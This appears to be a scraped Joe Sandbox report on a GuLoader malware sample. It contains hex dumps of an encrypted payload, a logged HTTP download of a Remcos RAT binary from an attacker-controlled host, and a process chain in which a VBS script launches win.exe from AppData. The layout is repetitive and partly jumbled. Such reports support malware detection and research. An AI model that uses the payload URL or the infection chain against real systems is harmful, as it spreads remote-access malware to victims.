f8 83 29 3a 59 99 ee 2b ff 40 1c 5f e1 e6 0e 28 08 e3 9a 93 c1 e7 6f 07 50 ab 33 20 6f da c7 ef 9b 4d 22 8a 1c e3 23 ad 9a 
ee d7 ec 42 8b ca c5 73 4b b1 a3 fe 3a 61 a9 a7 4f f2 7f a7 22 24 65 2a 63 85 71 be 6f 2f a0 6d b1 37 69 19 c6 bc 34 51 c3 
71 d0 a3 c5 67 2f e5 8b 82 54 cc cc 97 99 c4 70 91 71 85 54 8c a8 10 58 9c 57 13 1d bf 34 38 2a 88 27 97 72 e6 fa 4d bc 
07 5c ff c5 ec b6 73 9f d2 d9 a5 9c 31 d1 17 6a a2 dc cc 64 92 6e 47 a4 aa 17 4e b2 9c 7e 02 6c c4 fa db ec 6f f7 b5 b3 1d 
92 eb 12 66 3f e0 b0 11 15 00 c3 78 bd 3b c5 25 6a 26 d7 ec b9 22 cd 6d 99 0a 33 b0 1e 47 45 42 40 b6 c5 7f f3 6e e1 69 
2a a8 e5 70 cf 04 0d 71 56 82 91 88 b1 a6 43 17 f8 54 eb 78 dd 81 71 ce 9d 45 8c c9 5e 20 6c 9e 33 eb 13 78 18 80 58 66 
79 ab ae 36 ca 33 06 14 c7 3a e7 b0 c5 73 f2 ab 02 da 42 a1 42 df 57 00 2c 4f da cf 05 24 30 70 63 d6 d2 c5 90 69 47 92 
b2 ba 97 ac cf f2 93 d1 8d f9 c6 58 8f 55 8c 1a ef 2e 90 25 cc b2 77 55 a3 ef b3 21 c9 88 cb f6 5c 4a 21 47 e0 f4 7c 2e 5e 
fc 27 2f 2d ec 9c 69 f7 80 ad 20 19 8c 98 a6 34 ac 57 4c 0d e7 69 3b b8 36 d6 24 58 4b ee cb 1d 12 59 68 2c 50 dd 1b e5 
de cb 60 41 11 57 2c 19 bc c0 37 10 9c 7a 11 26 0a f2 08 3b d4 84 4c 2d 95 40 2f 53 ab 1f 79 f5 23 a7 58 f3 3d 20 3a f9 0a
e4 1b ab ca 43 1c 0e 7b d9 4d 10 f6 3e d3 53 6a 68 dd 69 4a bb f2 29 0c 30 86 52 eb 7c 44 65 90 8b 60 93 90 c1 07 57 b8 
f0 1c f0 d1 31 2e 7a 26 a2 79 39 ea 8c 5e 68 fa 4c dd 93 b6 86 81 8a 49 81 a3 a0 55 fd d4 01 88 10 25 af cc 3d 6e 84 a1 
db d1 10 b6 15 cb 2a ea bd 43 0a c8 71 46 42 5e 0b 15 0c 30 8d 7e d5 80 be 90 f3 c5 78 3f 87 6d 9a 9f 00 d1 98 9c a1 1f 
a1 68 15 6d 03 e2 05 4a b3 c7 0d 6d bd d7 2a b5 38 47 03 6a db 35 c8 4e 0d c0 3e 8c 40 e4 50 f7 fa 02 53 f0 49 3c c2 70 
60 46 26 fd 30 e1 48 9b af 8d 17 e5 4e 86 25 c3 77 33 d1 03 c2 a4 63 fc 44 c9 56 37 01 ca 36 93 23 ae 85 8a 42 0d 3f d9 
23 52 7c b9 57 fc c3 72 b7 69 21 7e 7a 37 88 0c 04 d7 50 9c 35 00 07 fd 95 6d fd a6 80 cf a2 a9 ed 90 97 cf 88 eb 9c ac 
3b fe c7 ac 83 a8 e7 5b 1f 09 ff be 4c ab d0 bc a9 da f1 b3 cc ba 63 d9 87 a4 c8 dc e5 13 d9 eb 3e 8a 91 a1 4b c1 e2 28 
d1 54 89 88 d9 30 df 1b aa 5d 87 84 2a 57 9e 
Data Ascii: Wa++b#N*OeE^ej'I"Fvl0IUnU*CqFB^0~x?mYhmDso+fWF>Y!pl==@4S&D#AY>cDV7e*l`b3OS:7tx&vpLGC~%+
{F.FK4T=VY3!61QxKI`b2=@nnx> >fy%){(@U{+(N}O4wl" IrR6yS^+"as2eg?tMy):Y+@_(oP3 oM"#BsK:aO"$e*cqo/m7i4Qq
g/TpqTXW48*'rM\s1jdnGN~lof?x;%j&"m3GEB@ni*pqVCTxqE^ l3xXfy63:sBBW,O$0pciGXU.%wU!\J!G|.^'/-i 4WLi;6$X
KYh,P`AW,7z&;L-@/Sy#X= :C{M>SjhiJ)0R|De`W1.z&y9^hLIU%=n*CqFB^0~x?mhmJm*8Gj5N>@PSI<p`F&0HN%
w3cDV76#B?#R|Wri!~z7P5m;[Lc>K(T0]*W

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

3 192.168.2.5 49723 192.185.113.219 80 C:\Users\user\Desktop\SecuriteInfo.com.__vbaHresultCheckObj.9138.exe

Timestamp
kBytes
transferred Direction Data

Jun 7, 2021 
20:42:05.084418058 CEST

1823 OUT GET /dk/Ose_2021%20remcos_UsrkxBzfYJ78.bin HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: ztechinternational.com
Cache-Control: no-cache
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Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Jun 7, 2021 
20:42:05.270745039 CEST

1825 IN HTTP/1.1 200 OK
Date: Mon, 07 Jun 2021 18:42:05 GMT
Server: Apache
Upgrade: h2,h2c
Connection: Upgrade
Last-Modified: Sun, 06 Jun 2021 21:56:54 GMT
Accept-Ranges: bytes
Content-Length: 131136
Content-Type: application/octet-stream
Data Raw: b0 8d ab 08 57 8e 61 a7 eb fe 2b 2b 06 b8 da 62 ed 86 b7 cb 09 e0 c1 d9 23 4e 2a 90 8e 19 c3 4f b3 a9 65 45 
5e 99 bd 65 16 b3 e2 e5 9a 0a 6a 91 27 49 c4 22 07 be b6 97 d1 46 de 76 8f 6c d7 30 cb db 1a 49 82 a3 a0 55 f9 d4 01 88 
ef da af cc 85 6e 84 a1 db d1 10 b6 55 cb 2a ea bd 43 0a c8 71 46 42 5e 0b 15 0c 30 8d 7e d5 80 be 90 f3 c5 78 3f 87 6d 
9a 9f 00 d1 98 9c a1 1f 59 68 15 6d 0d fd bf 44 b3 73 04 a0 9c 6f 2b f9 f5 66 57 02 b2 46 e8 3e 7f af 59 fe 21 89 70 94 9b 
6c 3d 9f 3d 1c a0 15 40 34 53 93 10 88 26 bb eb c2 44 c5 23 e9 41 a6 59 3e dc 09 e6 a4 63 fc 44 c9 56 37 65 b6 b1 2a 03 
b3 6c 60 62 10 d6 33 03 4f 95 53 3a c2 37 98 96 74 c8 94 09 09 78 e6 26 ca b9 76 15 1d ee 17 ba 70 14 4c db ce 47 43 cc 
8d 7e 25 2b ea 7b 46 1f e3 2e 46 4b aa 04 b1 34 14 16 54 84 a9 3d 56 8d c7 18 59 8e b8 99 33 a8 b9 21 36 c5 0e 31 01 
51 96 78 4b d3 da 0d c2 f0 49 60 62 11 32 3d f1 94 40 6e 6e 78 3e fd 20 06 3e 66 79 25 29 16 7b 28 40 55 7b 2b 1a d9 28 
4e 1d 7d ce 8d 4f 34 86 77 e4 9a bd 6c 22 fc a6 eb 98 20 d8 1f 49 ce 91 e4 72 00 c7 52 36 9e 79 bc cf a0 d8 98 9a 1d 93 
1a bc a8 f1 53 b3 bb 5e d8 e6 e6 03 09 05 97 f2 2b 16 e7 81 22 61 73 ec 32 81 65 97 67 c4 3f f6 74 05 e4 4d c7 b4 11 79 
f8 83 29 3a 59 99 ee 2b ff 40 1c 5f e1 e6 0e 28 08 e3 9a 93 c1 e7 6f 07 50 ab 33 20 6f da c7 ef 9b 4d 22 8a 1c e3 23 ad 9a 
ee d7 ec 42 8b ca c5 73 4b b1 a3 fe 3a 61 a9 a7 4f f2 7f a7 22 24 65 2a 63 85 71 be 6f 2f a0 6d b1 37 69 19 c6 bc 34 51 c3 
71 d0 a3 c5 67 2f e5 8b 82 54 cc cc 97 99 c4 70 91 71 85 54 8c a8 10 58 9c 57 13 1d bf 34 38 2a 88 27 97 72 e6 fa 4d bc 
07 5c ff c5 ec b6 73 9f d2 d9 a5 9c 31 d1 17 6a a2 dc cc 64 92 6e 47 a4 aa 17 4e b2 9c 7e 02 6c c4 fa db ec 6f f7 b5 b3 1d 
92 eb 12 66 3f e0 b0 11 15 00 c3 78 bd 3b c5 25 6a 26 d7 ec b9 22 cd 6d 99 0a 33 b0 1e 47 45 42 40 b6 c5 7f f3 6e e1 69 
2a a8 e5 70 cf 04 0d 71 56 82 91 88 b1 a6 43 17 f8 54 eb 78 dd 81 71 ce 9d 45 8c c9 5e 20 6c 9e 33 eb 13 78 18 80 58 66 
79 ab ae 36 ca 33 06 14 c7 3a e7 b0 c5 73 f2 ab 02 da 42 a1 42 df 57 00 2c 4f da cf 05 24 30 70 63 d6 d2 c5 90 69 47 92 
b2 ba 97 ac cf f2 93 d1 8d f9 c6 58 8f 55 8c 1a ef 2e 90 25 cc b2 77 55 a3 ef b3 21 c9 88 cb f6 5c 4a 21 47 e0 f4 7c 2e 5e 
fc 27 2f 2d ec 9c 69 f7 80 ad 20 19 8c 98 a6 34 ac 57 4c 0d e7 69 3b b8 36 d6 24 58 4b ee cb 1d 12 59 68 2c 50 dd 1b e5 
de cb 60 41 11 57 2c 19 bc c0 37 10 9c 7a 11 26 0a f2 08 3b d4 84 4c 2d 95 40 2f 53 ab 1f 79 f5 23 a7 58 f3 3d 20 3a f9 0a
e4 1b ab ca 43 1c 0e 7b d9 4d 10 f6 3e d3 53 6a 68 dd 69 4a bb f2 29 0c 30 86 52 eb 7c 44 65 90 8b 60 93 90 c1 07 57 b8 
f0 1c f0 d1 31 2e 7a 26 a2 79 39 ea 8c 5e 68 fa 4c dd 93 b6 86 81 8a 49 81 a3 a0 55 fd d4 01 88 10 25 af cc 3d 6e 84 a1 
db d1 10 b6 15 cb 2a ea bd 43 0a c8 71 46 42 5e 0b 15 0c 30 8d 7e d5 80 be 90 f3 c5 78 3f 87 6d 9a 9f 00 d1 98 9c a1 1f 
a1 68 15 6d 03 e2 05 4a b3 c7 0d 6d bd d7 2a b5 38 47 03 6a db 35 c8 4e 0d c0 3e 8c 40 e4 50 f7 fa 02 53 f0 49 3c c2 70 
60 46 26 fd 30 e1 48 9b af 8d 17 e5 4e 86 25 c3 77 33 d1 03 c2 a4 63 fc 44 c9 56 37 01 ca 36 93 23 ae 85 8a 42 0d 3f d9 
23 52 7c b9 57 fc c3 72 b7 69 21 7e 7a 37 88 0c 04 d7 50 9c 35 00 07 fd 95 6d fd a6 80 cf a2 a9 ed 90 97 cf 88 eb 9c ac 
3b fe c7 ac 83 a8 e7 5b 1f 09 ff be 4c ab d0 bc a9 da f1 b3 cc ba 63 d9 87 a4 c8 dc e5 13 d9 eb 3e 8a 91 a1 4b c1 e2 28 
d1 54 89 88 d9 30 df 1b aa 5d 87 84 2a 57 9e 
Data Ascii: Wa++b#N*OeE^ej'I"Fvl0IUnU*CqFB^0~x?mYhmDso+fWF>Y!pl==@4S&D#AY>cDV7e*l`b3OS:7tx&vpLGC~%+
{F.FK4T=VY3!61QxKI`b2=@nnx> >fy%){(@U{+(N}O4wl" IrR6yS^+"as2eg?tMy):Y+@_(oP3 oM"#BsK:aO"$e*cqo/m7i4Qq
g/TpqTXW48*'rM\s1jdnGN~lof?x;%j&"m3GEB@ni*pqVCTxqE^ l3xXfy63:sBBW,O$0pciGXU.%wU!\J!G|.^'/-i 4WLi;6$X
KYh,P`AW,7z&;L-@/Sy#X= :C{M>SjhiJ)0R|De`W1.z&y9^hLIU%=n*CqFB^0~x?mhmJm*8Gj5N>@PSI<p`F&0HN%
w3cDV76#B?#R|Wri!~z7P5m;[Lc>K(T0]*W

Timestamp
kBytes
transferred Direction Data

Start time: 20:39:23

Start date: 07/06/2021

Path: C:\Users\user\Desktop\SecuriteInfo.com.__vbaHresultCheckObj.9138.exe

Wow64 process (32bit): true

Analysis Process: SecuriteInfo.com.__vbaHresultCheckObj.9138.exe PID: 5452Analysis Process: SecuriteInfo.com.__vbaHresultCheckObj.9138.exe PID: 5452
Parent PID: 5708Parent PID: 5708

General
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File ActivitiesFile Activities

Commandline: 'C:\Users\user\Desktop\SecuriteInfo.com.__vbaHresultCheckObj.9138.exe' 

Imagebase: 0x400000

File size: 110592 bytes

MD5 hash: 6AA873EE68B60704E3D00F5C885A90F7

Has elevated privileges: true

Has administrator privileges: true

Programmed in: Visual Basic

Yara matches: Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 
00000000.00000002.287917619.00000000020A0000.00000040.00000001.sdmp, Author: 
Joe Security

Reputation: low

Show Windows behavior

File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start time: 20:39:48

Start date: 07/06/2021

Path: C:\Users\user\Desktop\SecuriteInfo.com.__vbaHresultCheckObj.9138.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\Desktop\SecuriteInfo.com.__vbaHresultCheckObj.9138.exe' 

Imagebase: 0x400000

File size: 110592 bytes

MD5 hash: 6AA873EE68B60704E3D00F5C885A90F7

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 
00000007.00000000.287506520.0000000000560000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 
00000007.00000002.350385300.0000000000560000.00000040.00000001.sdmp, Author: 
Joe Security

Reputation: low

Show Windows behavior

Show Windows behavior

Start time: 20:40:18

Start date: 07/06/2021

Path: C:\Windows\SysWOW64\wscript.exe

Wow64 process (32bit): true

Commandline: 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\install.vbs' 

Imagebase: 0xac0000

File size: 147456 bytes

MD5 hash: 7075DD7B9BE8807FCA93ACD86F724884

Has elevated privileges: true

Analysis Process: SecuriteInfo.com.__vbaHresultCheckObj.9138.exe PID: 768 ParentAnalysis Process: SecuriteInfo.com.__vbaHresultCheckObj.9138.exe PID: 768 Parent
PID: 5452PID: 5452

General

File CreatedFile Created

File WrittenFile Written

Key Value CreatedKey Value Created

Analysis Process: wscript.exe PID: 5524 Parent PID: 768Analysis Process: wscript.exe PID: 5524 Parent PID: 768

General
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File ActivitiesFile Activities

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior

File ActivitiesFile Activities

Start time: 20:40:20

Start date: 07/06/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: 'C:\Windows\System32\cmd.exe' /c 'C:\Users\user\AppData\Roaming\win.exe'

Imagebase: 0x140000

File size: 232960 bytes

MD5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior

Start time: 20:40:21

Start date: 07/06/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff7ecfc0000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Start time: 20:40:21

Start date: 07/06/2021

Path: C:\Users\user\AppData\Roaming\win.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Roaming\win.exe

Imagebase: 0x400000

File size: 110592 bytes

MD5 hash: 6AA873EE68B60704E3D00F5C885A90F7

Has elevated privileges: true

File DeletedFile Deleted

Analysis Process: cmd.exe PID: 4696 Parent PID: 5524Analysis Process: cmd.exe PID: 4696 Parent PID: 5524

General

Analysis Process: conhost.exe PID: 4720 Parent PID: 4696Analysis Process: conhost.exe PID: 4720 Parent PID: 4696

General

Analysis Process: win.exe PID: 4976 Parent PID: 4696Analysis Process: win.exe PID: 4976 Parent PID: 4696

General
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File ActivitiesFile Activities

Has administrator privileges: true

Programmed in: Visual Basic

Yara matches: Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 
0000000F.00000002.481233554.00000000021F0000.00000040.00000001.sdmp, Author: 
Joe Security

Antivirus matches: Detection: 13%, ReversingLabs

Reputation: low

Show Windows behavior

File ActivitiesFile Activities

Start time: 20:40:28

Start date: 07/06/2021

Path: C:\Users\user\AppData\Roaming\win.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\AppData\Roaming\win.exe' 

Imagebase: 0x400000

File size: 110592 bytes

MD5 hash: 6AA873EE68B60704E3D00F5C885A90F7

Has elevated privileges: true

Has administrator privileges: true

Programmed in: Visual Basic

Yara matches: Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 
00000010.00000002.540773096.0000000002B40000.00000040.00000001.sdmp, Author: 
Joe Security

Reputation: low

Show Windows behavior

File ActivitiesFile Activities

Start time: 20:40:37

Start date: 07/06/2021

Path: C:\Users\user\AppData\Roaming\win.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\AppData\Roaming\win.exe' 

Imagebase: 0x400000

File size: 110592 bytes

MD5 hash: 6AA873EE68B60704E3D00F5C885A90F7

Has elevated privileges: true

Has administrator privileges: true

Programmed in: Visual Basic

Yara matches: Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 
00000011.00000002.481658634.00000000020A0000.00000040.00000001.sdmp, Author: 
Joe Security

Reputation: low

Show Windows behavior

Start time: 20:40:54

Analysis Process: win.exe PID: 5864 Parent PID: 3472Analysis Process: win.exe PID: 5864 Parent PID: 3472

General

Analysis Process: win.exe PID: 5848 Parent PID: 3472Analysis Process: win.exe PID: 5848 Parent PID: 3472

General

Analysis Process: win.exe PID: 4580 Parent PID: 4976Analysis Process: win.exe PID: 4580 Parent PID: 4976

General
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File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start date: 07/06/2021

Path: C:\Users\user\AppData\Roaming\win.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Roaming\win.exe

Imagebase: 0x400000

File size: 110592 bytes

MD5 hash: 6AA873EE68B60704E3D00F5C885A90F7

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 
00000014.00000000.436722263.0000000000560000.00000040.00000001.sdmp, Author: 
Joe Security

Reputation: low

Show Windows behavior

Show Windows behavior

File ActivitiesFile Activities

Start time: 20:41:01

Start date: 07/06/2021

Path: C:\Users\user\AppData\Roaming\win.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\AppData\Roaming\win.exe' 

Imagebase: 0x400000

File size: 110592 bytes

MD5 hash: 6AA873EE68B60704E3D00F5C885A90F7

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 
00000015.00000002.544208632.0000000000560000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 
00000015.00000000.444587514.0000000000560000.00000040.00000001.sdmp, Author: 
Joe Security

Reputation: low

Show Windows behavior

Start time: 20:41:17

Start date: 07/06/2021

Path: C:\Users\user\AppData\Roaming\win.exe

Wow64 process (32bit): true

File CreatedFile Created

File WrittenFile Written

Key CreatedKey Created

Key Value CreatedKey Value Created

Analysis Process: win.exe PID: 5160 Parent PID: 5864Analysis Process: win.exe PID: 5160 Parent PID: 5864

General

Analysis Process: win.exe PID: 5280 Parent PID: 5848Analysis Process: win.exe PID: 5280 Parent PID: 5848

General
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Joe Sandbox Cloud Basic 32.0.0 Black Diamond

Disassembly

Code Analysis

Copyright Joe Security LLC

File ActivitiesFile Activities

Commandline: 'C:\Users\user\AppData\Roaming\win.exe' 

Imagebase: 0x400000

File size: 110592 bytes

MD5 hash: 6AA873EE68B60704E3D00F5C885A90F7

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 
00000016.00000002.581406039.0000000000560000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 
00000016.00000000.481116593.0000000000560000.00000040.00000001.sdmp, Author: 
Joe Security

Reputation: low

Show Windows behavior
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